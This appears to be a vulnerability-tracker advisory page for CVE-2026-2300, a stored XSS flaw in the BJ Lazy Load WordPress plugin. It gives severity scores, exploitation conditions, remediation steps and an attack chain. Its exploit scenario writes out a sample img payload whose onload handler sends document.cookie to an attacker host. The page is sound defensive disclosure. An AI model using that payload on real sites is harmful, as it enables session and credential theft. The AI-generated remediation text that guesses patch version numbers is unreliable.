Skip to main content

BJ Lazy Load CVE-2026-2300

| EUVDEUVD-2026-29388 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-12 Wordfence GHSA-xfmv-2x8g-8rjp
6.4
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain Contributor credentials or account
  2. Delivery
    Create post with class attribute XSS payload
  3. Exploit
    Submit post for publishing
  4. Install
    Plugin processes post via filter_images()
  5. C2
    Regex mishandles attribute boundaries
  6. Execute
    Injected onload/event handler becomes valid DOM attribute
  7. Impact
    Victim visits post
  8. Step 8
    Malicious JavaScript executes in victim's browser
  9. Step 9
    Attacker steals session/credentials or performs unauthorized action

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the following specific, concrete conditions: (1) An attacker must have at least Contributor-level WordPress user account (authenticated access with post creation/editing permissions); (2) The BJ Lazy Load plugin must be installed and activated on the target WordPress site; (3) The attacker must be able to create, edit, or publish a post, page, or custom post type that will be processed by the filter_images() function; (4) The injected post must be viewed by another user (typically a site visitor or administrator) for the XSS payload to execute. The vulnerability does NOT require special configuration or non-default settings-it is present in all default installations of versions 1.0.9 and below. No special plugin settings, theme options, or WordPress configuration variants are mentioned in the CVE description; exploitation works against standard WordPress setups. Limitations on exploitation include: the attacker must have Contributor+ account (excludes anonymous users and Subscriber-level accounts), the injected content is stored in post content (so WordPress content filtering and plugins like security audit logs may detect anomalies in post revisions), and execution depends on another user accessing the malicious post (not automatic server-side code execution).

Impact

This vulnerability presents moderate-to-significant risk despite its CVSS 6.4 score. The attack vector is network-based with low complexity and no user interaction required from the attacker (AV:N/AC:L/UI:N), making exploitation straightforward once authenticated. However, exploitation requires Contributor-level WordPress access (PR:L), limiting the attack surface to users with explicit permission to create or edit posts-typically trusted editorial staff, guest bloggers, or compromised user accounts. The scope is changed (S:C), meaning the impact extends beyond the vulnerable component to other users' browser contexts. The confidentiality and integrity impacts (C:L/I:L) are moderate; attackers can steal session cookies, credentials, or redirect users, but the scope is limited to XSS consequences rather than server-level compromise. Real-world risk depends critically on three factors: (1) How many sites use this plugin (WordPress plugin popularity data suggests moderate adoption), (2) Whether Contributor+ accounts are routinely granted to untrusted users or frequently compromised, and (3) Whether the injected content persists across page views (Stored XSS, confirmed by CVE description, maximizes impact vs. reflected XSS). KEV status not provided in input, but Wordfence reporting suggests security vendor awareness. No EPSS score provided; the low PR requirement combined with stored persistence suggests higher exploitation probability than the CVSS base score alone indicates. The regex-based approach to HTML parsing is a known anti-pattern (regex should not be used for HTML parsing per OWASP guidance), making this a clear implementation flaw rather than an edge-case bypass. No compensating controls are effective once an attacker gains Contributor access, as the vulnerability is in server-side HTML generation.

Exploit ScenarioDerived

An attacker with a Contributor account (or who has compromised a Contributor account via phishing or credential stuffing) creates a new WordPress post with a custom img tag containing a malicious payload in the class attribute, e.g., <img src='image.jpg' class='x' onload='fetch("http://attacker.com/steal?c="+document.cookie)' />. When the BJ Lazy Load plugin's filter_images() function processes this post during rendering, the regex replacement mishandles the attribute boundary, promoting the onload handler into a valid DOM attribute. When any site visitor (including administrators) views the published post, the injected JavaScript executes in their browser context, stealing their session cookies or performing actions as that user (e.g., creating a new admin account, modifying site content).

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 12, 2026

Stored Cross-Site Scripting in BJ Lazy Load plugin for WordPress versions up to 1.0.9 allows authenticated attackers with Contributor-level access to inject arbitrary web scripts via regex-based HTML attribute manipulation in the filter_images() function. The vulnerability exploits improper handling of HTML attribute boundaries during src attribute replacement, enabling attackers to promote malicious content from class attribute values into executable DOM attributes. When victims access injected pages, the injected scripts execute in their browsers with the privileges of the compromised site.

RemediationAI

Update BJ Lazy Load to a patched version released after 1.0.9 (exact version number not provided in input data, but vendors typically use 1.0.10 or 1.1.0 for security patches). The fix requires replacing regex-based HTML attribute manipulation with proper HTML parsing using a DOM parser (e.g., PHP DOMDocument or HTMLSpecialChars functions for attribute escaping). Site administrators should navigate to WordPress Dashboard → Plugins, search for 'BJ Lazy Load', and apply the update immediately once available. If no patched version is available from the vendor within a defined timeframe, consider disabling the plugin entirely and switching to a maintained lazy-loading alternative (e.g., native browser lazy-loading via HTML5 loading='lazy' attribute, which requires no plugin). As a temporary workaround with significant limitations, restrict Contributor-level access to only highly trusted users and regularly audit post revisions for injected content using security plugins like Wordfence or Sucuri, though this does not prevent exploitation, only aids detection. Consult the Wordfence vulnerability page (https://www.wordfence.com/threat-intel/vulnerabilities/id/f443846f-4d70-4ca0-beeb-d2e839b14765?source=cve) for the exact patched version number and release date once available.

Affected VersionsENISA

BJ Lazy Load 0 ≤1.0.9

Affected Packages

euvd bj_lazy_load no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The BJ Lazy Load plugin uses preg_replace() for regex-based HTML processing to transform image src attributes as part of lazy-loading functionality. The vulnerability exists in the filter_images() function (referenced at line 121 and line 210 in the affected code paths) where insufficient boundary validation during regex substitution allows specially crafted HTML attribute content to break out of its intended context. Specifically, malicious payloads embedded within a class attribute value can be manipulated through regex processing to become independent DOM attributes with executable content. This is a classic case of CWE-79 (Improper Neutralization of Input During Web Page Generation), where user-controlled data is not properly sanitized before being rendered in HTML output. The regex pattern fails to account for attribute quote handling and whitespace, allowing injection points where the regex replacement operation inadvertently promotes non-src content into valid HTML attributes.

Know when Bj Lazy Load gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The BJ Lazy Load plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the filter_images() function in all versions up to, and including, 1.0.9. This is due to the use of regex-based HTML processing (preg_replace) that does not properly handle HTML attribute boundaries when replacing src attributes, allowing crafted content inside a class attribute value to be promoted to real DOM attributes after processing. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy